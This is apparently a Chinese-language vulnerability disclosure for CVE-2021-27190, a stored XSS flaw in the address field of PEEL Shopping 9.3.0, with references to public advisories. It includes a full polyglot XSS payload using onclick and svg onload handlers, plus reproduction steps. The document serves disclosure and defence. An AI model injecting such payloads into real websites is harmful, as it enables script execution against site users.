CVE-2021-27190 - PEEL Shopping，电子商务购物车 - '地址'中的存储型跨站脚本漏洞

日期

2021-02-11

漏洞利用作者

Anmol K Sachan

厂商主页

https://www.peel.fr/

软件链接

https://www.peel.fr/nos-offres-1/peel-shopping-31.html
https://sourceforge.net/projects/peel-shopping/

易受攻击的软件链接

https://drive.google.com/file/d/1dIwRdaqtEyqUUgxbRqrHiS5WQ10nEG8z/view?usp=sharing

软件：

PEEL SHOPPING 9.3.0

漏洞类型

存储型跨站脚本

漏洞

存储型XSS

在Windows 10 XAMPP上测试

分配的CVE编号

CVE-2021-27190
该应用程序存在存储型XSS漏洞。

易受攻击的脚本

http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php

https://github.com/anmolksachan/CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS/edit/main/README.MD## 易受攻击的参数 '地址'

使用的Payload

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

POC

https://drive.google.com/file/d/1t1hksDsYqYsqryRq61tNIQQMTCFidtc1/view
在注入payload的同一页面中，点击文本框以编辑地址。
您将看到您的JavaScript代码（XSS）被执行。

参考资料

1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27190
   
2. https://packetstormsecurity.com/files/161367/PEEL-Shopping-9.3.0-Cross-Site-Scripting.html
   
3. https://www.exploit-db.com/exploits/49553
   
4. https://www.secuneus.com/cve-2021-27190-peel-shopping-ecommerce-shopping-cart-stored-cross-site-scripting-vulnerability-in-address/
   
5. https://cxsecurity.com/issue/WLB-2021020054
   
6. https://nvd.nist.gov/vuln/detail/CVE-2021-27190